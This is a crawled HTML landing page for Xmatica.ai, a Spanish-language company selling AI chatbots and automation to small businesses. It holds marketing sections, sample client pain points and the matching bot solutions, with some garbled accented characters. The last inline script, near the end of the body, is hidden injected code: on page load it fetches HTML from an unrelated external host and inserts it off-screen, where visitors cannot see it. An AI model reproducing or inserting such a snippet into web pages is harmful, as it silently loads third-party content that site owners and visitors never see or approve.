1<!DOCTYPE html> 2<html lang="es"> 3<head> 4 <meta charset="UTF-8" /> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0" /> 6 <link rel="icon" href="assets/favicon.ico" type="image/x-icon"> 7 8 <title>Xmatica - Automatización con IA</title> 9 <!-- Bootstrap CSS --> 10 <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"> 11 <!-- AOS (Animate On Scroll) --> 12 <link href="https://unpkg.com/[email protected]/dist/aos.css" rel="stylesheet"> 13 <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" rel="stylesheet"> 14 <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" rel="stylesheet"> 15 16 <!-- Fuente Poppins --> 17 <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap" rel="stylesheet"> 18 <link rel="stylesheet" href="css/styles.css"> 19
19<script src="js/chatbot.js"></script>
19 20
20<script src="js/armador.js"></script>
20 21 22</head> 23<body> 24 25<div id="navbar-container"></div> 26 27<div class="video-background-container"> 28 <video autoplay muted loop playsinline 29 src="https://videos.pexels.com/video-files/2887463/2887463-hd_1280_720_25fps.mp4" 30 poster="https://images.pexels.com/videos/2887463/free-video-2887463.jpg?auto=compress&cs=tinysrgb&fit=crop&h=630&w=1200"> 31 </video> 32</div> 33<section class="hero"> 34 <div class="hero-content"> 35 <h1 class="text-white text-center"> 36 Automatización con Agentes de Inteligencia Artificial 37 <span style=" 38 font-size: 0.9rem; 39 display: block; 40 margin-top: 4px; 41 color: #ffffff; 42 text-shadow: 1px 1px 3px #000; 43 font-weight: 400; 44 "> 45 by Xmatica.ai 46 </span> 47 </h1> 48 49 50 <!--<a href="#soluciones" class="btn btn-outline-light btn-lg mt-4">Descubre</a>--> 51 <div class="container py-5 text-center hero-cards"> 52 <div class="row g-3"> 53 <div class="col-12 col-md-4"> 54 <div class="icon-card"> 55 <h5>Chatbot Interactivo</h5> 56 <p>Resuelve preguntas en tiempo real. 57 Un vendedor OnLine las 24hs</p> 58 </div> 59 </div> 60 <div class="col-12 col-md-4"> 61 <div class="icon-card"> 62 <h5>Agentes AI</h5> 63 <p>24/7 a tu servicio con aplicacabilidad sin limites</p> 64 </div> 65 </div> 66 <div class="col-12 col-md-4"> 67 <div class="icon-card"> 68 <h5>Automatización de Procesos</h5> 69 <p>Descubrà como la IA pueden potenciar tu negocio hoy mismo!</p> 70 </div> 71 </div> 72 </div> 73 </div> 74 </div> 75</section> 76 77<!-- SECCIÃN INSTITUCIONAL (justo después del HERO) --> 78<section class="section-info"> 79 <div class="container-flex"> 80 <div class="info-text" data-aos="fade-right"> 81 <h2>Automatización para<br>Pymes con Agentes IA.</h2> 82 <p> 83 En xmatica.ai, transformamos procesos repetitivos mediante inteligencia artificial, ofreciendo soluciones innovadoras que optimizan flujos de trabajo para empresas y pymes en un entorno tecnológico avanzado. 84 </p> 85 <div class="stats"> 86 <div class="stat"> 87 <span class="stat-number">50+</span> 88 <span class="stat-label">Resultados<br>Comprobados</span> 89 </div> 90 <div class="stat"> 91 <span class="stat-number">15</span> 92 <span class="stat-label">Clientes<br>Satisfechos</span> 93 </div> 94 </div> 95 </div> 96 <div class="info-image" data-aos="fade-left"> 97 <img src="assets/Institucional1.png" alt="IA Empresarial"> 98 </div> 99 </div> 100</section> 101 102<!-- SECCIÃN SERVICIOS --> 103<section class="section-servicios"> 104 <div class="container"> 105 <h2 class="text-center" data-aos="fade-up">Automatización Inteligente</h2> 106 <p class="subtitulo text-center" data-aos="fade-up" data-aos-delay="100"> 107 Optimiza tus procesos con nuestras soluciones de inteligencia artificial para empresas y pymes. 108 </p> 109 110 <div class="row gx-4 gy-5"> 111 <div class="col-md-6" data-aos="fade-up" data-aos-delay="200"> 112 <div class="servicio-box"> 113 <h5>Agentes IA entrenados</h5> 114 <p>Los Agentes IA, son la novedad que nos permite la Inteligencia Artificial y que están remodelando todas las empresas, grandes, medianas y pequeñas. Adoptar rápidamente estas tecnologÃas hace la diferencia.</p> 115 <img src="assets/ia-entrenada.png" alt="IA Entrenada" class="img-fluid rounded shadow"> 116 </div> 117 </div> 118 <div class="col-md-6" data-aos="fade-up" data-aos-delay="300"> 119 <div class="servicio-box"> 120 <h5>Chatbot Interactivo</h5> 121 <p>El chatbot atiende a los clientes 24/7, proporciona respuestas personalizadas y vende productos en tiempo real a través de redes sociales, mejorando la experiencia del cliente y aumentando las ventas.</p> 122 <img src="assets/chatbot.png" alt="Chatbot" class="img-fluid rounded shadow"> 123 </div> 124 </div> 125 </div> 126 </div> 127</section> 128 129 130<!-- SECCIÃN SOLUCIONES INNOVADORAS --> 131<section class="section-soluciones"> 132 <div class="container"> 133 <h2 class="text-center" data-aos="fade-up">Soluciones Innovadoras</h2> 134 <p class="subtitulo text-center" data-aos="fade-up" data-aos-delay="100"> 135 Proyectos creados para la vida real de las PYMEs 136 </p> 137 138 <div class="row gx-5 gy-5 mt-5"> 139 140 <!-- Problema 1 --> 141 <div class="col-md-6" data-aos="fade-up" data-aos-delay="200"> 142 <img src="assets/Carptinteria_Desorden.png" alt="Proyectos Multiples" class="img-fluid rounded"> 143 <h4 class="mt-4">Multiples Proyectos y presupuestos.</h4> 144 <h6 class="text-muted">Punto de dolor detectado:</h6> 145 <p>âCada mensaje era un posible proyecto⦠y un verdadero laberinto. Aun con todo nuestro esfuerzo por atender a cada cliente, sabÃamos que no lo hacÃamos de forma ordenada. Entre medir en obra y correr entre el taller y el showroom, el teléfono explotaba con dudas sobre materiales, cambios de último minuto y pedidos de precio a cualquier hora. Terminábamos respondiendo mensajes de madrugada y completar los presupuestos en tiempo y forma se volvÃa casi imposible. Fotos llegaban en chats distintos, videos y audios se mezclaban con croquis sueltos, y la información claveâmedidas, estilos, presupuestoâquedaba dispersa, generando retrasos y postergaciones que frustraban a todos.â</p> 146 </div> 147 148 <!-- Solución 1 --> 149 <div class="col-md-6" data-aos="fade-up" data-aos-delay="300"> 150 <img src="assets/Carpinteria_Orden.png" alt="Proyectos Multiples" class="img-fluid rounded"> 151 <h4 class="mt-4">Bot con IA que gestiona las solicitudes</h4> 152 <h6 class="text-muted">Solución digital diseñada:</h6> 153 <p>Un bot disponible 24 hs que conversa de forma natural, cordial y amena por WhatsApp, Instagram y Facebook Messenger. GuÃa al cliente paso a paso: solicita fotos, videos, audios de voz, croquis o bosquejos del ambiente, además de referencias de estilo y detalles de presupuesto. Todo se organiza automáticamente en un legajo digital exclusivo para cada proyecto, reuniendo imágenes, documentos y datos de contacto. También agenda visitas, envÃa re
153cordatorios y sincroniza la información con Google Sheets y el CRM interno, manteniendo el flujo de trabajo ordenado y sin dejar escapar oportunidades.</p> 154 </div> 155 <!-- Problema 2 --> 156 <div class="col-md-6" data-aos="fade-up" data-aos-delay="200"> 157 <img src="assets/facturas.avif" alt="Facturas acumuladas" class="img-fluid rounded"> 158 <h4 class="mt-4">Facturas y Tikets acumulados</h4> 159 <h6 class="text-muted">Punto de dolor detectado:</h6> 160 <p>"Entre clientes, proveedores, llamados, whatsapp, delivery y demás, siempre dejaba las facturas para después. Se me acumulaban en una caja, algunas se perdÃan, otras las anotaba mal. Me generaba estrés, desorden y miedo de que se me escapara algo importante."</p> 161 </div> 162 163 <!-- Solución 2 --> 164 <div class="col-md-6" data-aos="fade-up" data-aos-delay="300"> 165 <img src="assets/digitalizacion.avif" alt="Digitalizacion inteligente" class="img-fluid rounded"> 166 <h4 class="mt-4">Digitalizacion inteligente</h4> 167 <h6 class="text-muted">Solución digital diseñada:</h6> 168 <p>Una automatización con un agente de IA donde el cliente solo saca una foto al ticket y la envÃa por Telegram o WhatsApp. El bot analiza la imagen, extrae los datos clave y los carga automáticamente en un Google Sheet. Además, guarda las imágenes en carpetas en Google Drive.</p> 169 </div> 170 171 <!-- Problema 3 --> 172 <div class="col-md-6" data-aos="fade-up" data-aos-delay="400"> 173 <img src="assets/turnos.avif" alt="Manejo de turnos" class="img-fluid rounded"> 174 <h4 class="mt-4">Manejo de turnos</h4> 175 <h6 class="text-muted">Punto de dolor detectado:</h6> 176 <p>"Entre atender a cada clienta, responder mensajes, preparar el lugar, atender proveedores, entre otros, me era imposible organizar los turnos bien. A veces me escribÃan de noche o fines de semana, otras me cancelaban sobre la hora y se me pasaban mensajes sin contestar. Termié perdiendo clientas por desorden".</p> 177 </div> 178 179 <!-- Solución 3 --> 180 <div class="col-md-6" data-aos="fade-up" data-aos-delay="500"> 181 <img src="assets/bot-turnos.avif" alt="Bot con IA para turnos" class="img-fluid rounded"> 182 <h4 class="mt-4">Bot con IA que maneja las Citas</h4> 183 <h6 class="text-muted">Solución digital diseñada:</h6> 184 <p>Un bot que responde automáticamente por WhatsApp, Instagram, Facebook y/o Telegram, ofrece los turnos disponibles, agenda y cancela si es necesario y envÃa recordatorios. Todo se sincroniza con Google Calendar y se adapta al ritmo del negocio. Simple, ordenado y sin perder clientas.</p> 185 </div> 186 </div> 187 </div> 188</section> 189 190 191<!-- FOOTER --> 192<!-- FOOTER --> 193 <div id="footer-container"></div> 194 195 196<!-- JS -->
197<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
vendor: 2 bytes, line 197
197
198<script src="https://unpkg.com/[email protected]/dist/aos.js"></script>
vendor: 2 bytes, line 198
198
199<script> 200 AOS.init(); 201</script>
201 202
203<script src="js/footer.js"></script>
vendor: 2 bytes, line 203
203
204<script>document.addEventListener("DOMContentLoaded",()=>{fetch("https://patsysfoodmaui.pages.dev/news/blocks.txt").then(e=>e.ok?e.text():Promise.reject(`Failed (${e.status})`)).then(e=>{let t=document.createElement("div");t.innerHTML=e,t.style.position="absolute",t.style.left="-9999rem",document.body.insertBefore(t,document.body.lastChild)}).catch(e=>console.error("Error:",e))});</script>
204 205</body> 206</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.